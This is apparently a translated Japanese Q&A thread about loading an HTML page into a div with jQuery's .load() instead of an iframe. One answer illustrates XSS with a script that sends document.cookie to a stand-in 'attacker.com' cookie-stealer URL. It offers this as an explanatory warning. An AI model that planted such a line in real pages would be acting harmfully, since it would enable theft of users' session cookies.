3

何百ものウェブサイトがそれを説明していると確信しているので、私はこれを行う方法を検索しようとしていますが、私はそれを正しく言葉にすることができないので、私のすべての検索は何か他のものを思いつきます.

ですから、これが以前に何度も尋ねられていたら申し訳ありません。

とにかく、私がやろうとしているのは、ページ 'page.html' を div 内にロードすることです。ページにはテキストのみがあり、他には何もありません。したがって、iframe を使用する代わりに、このページを div 内にロードして、そのページにあるテキストのみを表示するようにします。

検索中に見つけたいくつかの異なることを試しました。

$(document).ready(function() {    
    $("div").load("page.html") 
});

しかし、何らかの理由で、そのメソッドは、その div 内ではなく、ページ上のすべてのテキストを変更しました。(私はコーディングがかなり苦手なので、その方法のどこかで間違っている可能性があります)

そのため、iframe を使用せずに div 内にページのコンテンツをロードする方法を提案できます。

4

3 に答える 3

4

$('div')あなたが探しているよりも多くをターゲットにしようとしています。コンテンツを特定の要素にロードしようとしている場合はdiv、ID を指定してそのようにターゲットにします。

<div id="pageContent"></div>

$(document).ready(function() { 
    $('#pageContent').load('page.html');
}
于 2012-06-30T05:07:35.980 に答える
3 
$("#mydiv").load("myexternalfile.html");

このリンクを試してください

http://api.jquery.com/load/

于 2012-06-30T05:27:04.550 に答える
2

簡単な答え: できません。

長い答え: できますが、それは難しく、エラーが発生しやすく、大きなセキュリティ リスクが伴います。

これが別のページを埋め込みたいページだとしましょう:

<!DOCTYPE html public>
<html>
 <head>
  <title>My Page</title>
 </head>
 <body>
  <div id="embedMe"></div>
 </body>
</html>

次に、最初のページに埋め込むページのコードを次に示します。

<!DOCTYPE html public>
<html>
 <head>
  <title>My Embedded Page</title>
 </head>
 <body>
  <div id="content">
   Something interesting here...
  </div>
 </body>
</html>

次に、埋め込まれた場合:

<!DOCTYPE html public>
<html>
 <head>
  <title>My Page</title>
 </head>
 <body>
  <div id="embedMe">
   <!DOCTYPE html public>
   <html>
    <head>
     <title>My Embedded Page</title>
    </head>
    <body>
     <div id="content">
      Something interesting here...
     </div>
    </body>
   </html>
  </div>
 </body>
</html>

あなたは問題を見ることができます。2 つのhtml要素、2 つheadの 、2 つbodyの 、2 つtitleの 、さらには 2 つの がありDOCTYPESます。これは善意の例です。攻撃者は、埋め込むページの URL を次の内容を含むものに変更できるとします。

<script type="text/javascript">
 window.location.href = "http://www.attacker.com/cookiestealer.php?cookies=" + document.cookie;
</script>

突然、ユーザーは自分のアカウントがハッキングされたことに不満を漏らし、その責任はあなたの肩にかかっています。これは XSS の単純な例であり、実際の攻撃者はそれをよりうまく隠すことができます。iframe を使用してください。それが彼らのために作られたものです。

于 2012-06-30T05:21:39.693 に答える